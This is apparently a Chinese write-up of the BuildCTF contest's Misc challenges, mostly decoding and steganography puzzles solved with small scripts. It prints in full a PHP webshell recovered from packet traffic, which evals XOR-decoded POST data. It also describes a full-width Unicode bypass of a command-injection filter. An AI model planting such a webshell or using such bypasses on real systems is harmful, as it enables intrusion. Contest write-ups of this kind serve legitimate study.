Misc
what is this?
BuildCTF{S0_TH1S_15_M0R5E_C0DE_!!}
老色批
在 b1,rgb,lsb,xy
通道发现文本
b1,rgb,lsb,xy .. text: "QnVpbGRDVEZ7MV9hbV9uMHRfTFNCISEhfQ=="
解码得到flag
BuildCTF{1_am_n0t_LSB!!!}
一念愚即般若绝,一念智即般若生
阴阳怪气解码得到password
s2j6dg@*
解压后的密文进行与佛论禅解密得到
曰:坤茫元量华劫始南灵+梵冥炁渺荡净+浩虚玉道坤玉终罗炁度清魄魔神龙融魂玉命魄鬼照色玉冥周色西鬼终命东融量照霄炁北南西生陀+空茫陀周度清道茫炁冥度东真阎阎阿度命净威茫度元茫微威陀空人罗北魂威荡幽吉灵尊
天书解密得到
7dcUypxFHgNSJ7rVkdM5k7X18GSU9JinEziQ5vsS1rMpvTpx
base58解密得到flag
BuildCTF{D3crypt10n_1s_4_l0ng_r04d}
如果再来一次,还会选择我吗?
可以看到数据被打乱,编写脚本复原
input_file='password.png'
output_file='password_right.png'
with open(input_file, 'rb') as f:
data = f.read()
byte_array = bytearray(data)
for i in range(0, len(byte_array) - 1, 2):
byte_array[i], byte_array[i + 1] = byte_array[i + 1], byte_array[i]
with open(output_file, 'wb') as f:
f.write(byte_array)
得到key
8!67adz6
解压得到一张条形码,但是部分被涂抹,用PS将未涂抹的部分进行拉伸
扫描得到key
key:wo_bu_shi_xiao_hei_zi!!!
解压得到密文,需要base64循环解码,编写脚本
def base64_auto(s):
for i in range(1,99999):
print("Time ",i,":")
decode_str = base64.decodebytes(bytes(s, encoding='utf8') )
result=decode_str.decode()
print(result)
s=result
s=""
base64_auto(s)
在Time30得到Flag
Time 28 :
UW5WcGJHUkRWRVo3ZVRCMVgyRnlaVjluY21WaGRGOWliM2w5
Time 29 :
QnVpbGRDVEZ7eTB1X2FyZV9ncmVhdF9ib3l9
Time 30 :
BuildCTF{y0u_are_great_boy}
Time 31 :
Traceback (most recent call last):
别真给我开盒了哥
从图中可以看到关键信息
搜索 s3901北京德州出口
找到相关信息
搜索霸州南站铁路,得到flag
BuildCTF{津保铁路}
食不食油饼
零宽隐写,将得到的字符串base64解码后得到第一个压缩包密码
key:7gkjT!opo
盲水印得到第二个压缩包密码
8GMdP3
解压得到字符串
IJ2WS3DEINKEM62XMF2DG4SNMFZGWXZRONPVGMC7MVQVG6L5
Base32解码得到flag
BuildCTF{Wat3rMark_1s_S0_eaSy}
四妹,你听我解释
先修复宽高,得到后半段编码
和谐公正平等平等友善敬业法治富强和谐民主法治诚信和谐
查看修复的图片的通道,在通道中发现前半段编码
[?] 192 bytes of extra data after image end (IEND), offset = 0x756d3
extradata:0 .. text: "自由文明法治平等公正敬业公正友善公正公正自由自由和谐平等自由自由公正法治友善平等公正诚信文明公正民主公正诚信平等平等诚信平等法治"
得到完整编码
自由文明法治平等公正敬业公正友善公正公正自由自由和谐平等自由自由公正法治友善平等公正诚信文明公正民主公正诚信平等平等诚信平等法治和谐公正平等平等友善敬业法治富强和谐民主法治诚信和谐
社会主义核心价值观解码得到flag
BuildCTF{lao_se_p1}
白白的真好看
在docx文档中改变字体颜色得到Flag1
Flag1:BuildCTF{Th3_wh1t3
0000000.txt中零宽隐写得到Flag2
Flag2:_wh1t3_y0u_s33
将汉信码解码后得到
http://weixin.qq.com/r/ekReRh7Eh0P4rVol9xFo
生成二维码扫码后跳转到公众号(这里我是遍历海报上的公众号找到的)得到snow隐写的password
snowsnow
对snow.txt进行snow隐写解密
SNOW.exe -Q -p "snowsnow" snow.txt
得到Flag3
_1s_n0t_wh1t3}
这里比较不合理的一点是Flag1和Flag2有交叉部分,需要自己删改
BuildCTF{Th3_wh1t3_y0u_s33_1s_n0t_wh1t3}
四妹?还是萍萍呢?
通过binwalk能够发现存在Zip数据,但是无法直接提取
010搜索 50 4B
无果,检查IDAT块,在最后一个IDAT块前发现Zip文件数据,将Zip提取出来,存在加密,通过文件名得到提示
公众号回复password有惊喜
回复消息后得到password
St7wg.
解压后将txt中的数据base64解码后得到一张png,爆破宽高后得到flag
BuildCTF{PNG_@nd_H31sh3nHu@}
Black&White
压缩包内有很多图,解压后根据图片大小利用代码分别转化为0和1
import os
def process_images_in_folder(folder_path):
s = ""
jpg_files = [os.path.join(folder_path, f) for f in os.listdir(folder_path) if f.endswith('.jpg')]
sorted_jpg_files = sorted(jpg_files, key=lambda x: int(''.join(filter(str.isdigit, os.path.basename(x)))))
for file_path in sorted_jpg_files:
file_size = os.path.getsize(file_path)
if file_size == 878:
s += "1"
elif file_size == 879:
s += "0"
return s
folder_path = 'panda'
result_string = process_images_in_folder(folder_path)
print(result_string)
得到01字符串后转化为二维码,扫描得到以下信息
3I8XEDHUCJTARQFOEDX7D+08AC80T8N08Y6948DF2C43C9B6Z2
base45解码得到flag
BuildCTF{Tich1?pAnDa?_HahA_U_w1n}
E2_?_21P
题目描述显示crc检验错误,首先想到的是源数据区或目录区的压缩方法被修改了,将这里的压缩方式更改为 8
更改完毕后解压未显示crc检验错误但是存在密码,这时候尝试伪加密,解压得到BrainFuck编码,解码得到flag
BuildCTF{Da7A_Cowbr355lon_15_3A5Y}
EZ_ZIP
附件给的 Jpg 后存在压缩包,将其分离后得到压缩包。压缩包属于无密码嵌套,利用脚本解压到最后一层,伪加密得到Flag
BuildCTF{Z1p_p@ck@g3s_@r3_@_v3ry_1n73r3s7ing_thing}
Guesscoin
爆破就完事了
from pwn import*
io=remote("27.25.151.80",42861)
for i in range(100):
io.sendline(str(1))
io.interactive()
HEX的秘密
先观察密文,直接Hex解密是乱码
c2f5e9ece4c3d4c6fbb3c5fafadfc1b5e3a1a1dfe2e9eee1f2f9f9f9fd
我们将 BuildCTF
转为Hex查看,可以发现原本奇数位的数字被转成了对应序号-1的英文字符
4275696c64435446
写代码还原,得到初始Hex
4275696c644354467b33457a7a5f41356321215f62696e61727979797d
解码得到Flag
BuildCTF{3Ezz_A5c!!_binaryyy}
什么?来玩玩心算吧
原本以为是正常都加减乘除,但是发现并没有答案并且直接输入24也是答案正确,这里转化思路为命令执行。通过排查我们可以发现这道题目过滤了英文字符。但是可以使用 Unicode
绕过,这里采用的是全角
得到flag
BuildCTF{a508efc0-99d4-424c-b731-5c6ad05fda1a}
放一套花体
𝒶𝒷𝒸𝒹ℯ𝒻ℊ𝒽𝒾𝒿𝓀𝓁𝓂𝓃ℴ𝓅𝓆𝓇𝓈𝓉𝓊𝓋𝓌𝓍𝓎𝓏
𝒜ℬ𝒞𝒟ℰℱ𝒢ℋℐ𝒥𝒦ℒℳ𝒩𝒪𝒫𝒬ℛ𝒮𝒯𝒰𝒱𝒲𝒳𝒴𝒵
我太喜欢亢金星君了!
先将gif拆分,根据图片大小分别将三种图片转化为 -
.
import os
import re
def get_sorted_image_files(folder_path):
image_files = [f for f in os.listdir(folder_path) if f.lower().endswith('.png')]
def extract_number(filename):
match = re.search(r'\d+', filename)
return int(match.group()) if match else float('inf')
sorted_files = sorted(image_files, key=extract_number)
return [os.path.join(folder_path, f) for f in sorted_files]
def process_images(folder_path):
s = ""
image_files = get_sorted_image_files(folder_path)
for image_path in image_files:
file_size_bytes = os.path.getsize(image_path)
if file_size_bytes == 64627:
s += "."
elif file_size_bytes == 56214:
s += "-"
elif file_size_bytes == 759:
s += " "
return s
folder_path = 'output'
result = process_images(folder_path)
print(f"The final value of s is: {result}")
得到摩斯代码
-... ..- .. .-.. -.. -.-. - ..-. ----.-- .-- ....- .---- -.-. --- -- ....- ..--.- -. ....- .-- ..--.- ..-. .---- ... .... -----.-
解码得到flag
BuildCTF{BUILDCTFW41COM4_N4W_F1SH}
有黑客!!!
先分析流量包,将最后一段流量进行 url解码
,可以看到存在两段
将第一段进行处理得到木马文件
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='hhhhacker';
$payloadName='payload';
$key='73b761208d5c05f2';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
从中得到 key
和 pass
$pass='hhhhacker';
$key='73b761208d5c05f2';
填入key进行解密
得到flag
Buildctf{WireshArk_1s_vEry_EZ}
FindYourWindows
通过 key
文件作为密钥文件挂载 FindYourWindows
,对挂载盘进行取证,恢复回收站中的 flag.txt
得到flag
BuildCTF{I2t_s0_e5sy!!!}
评论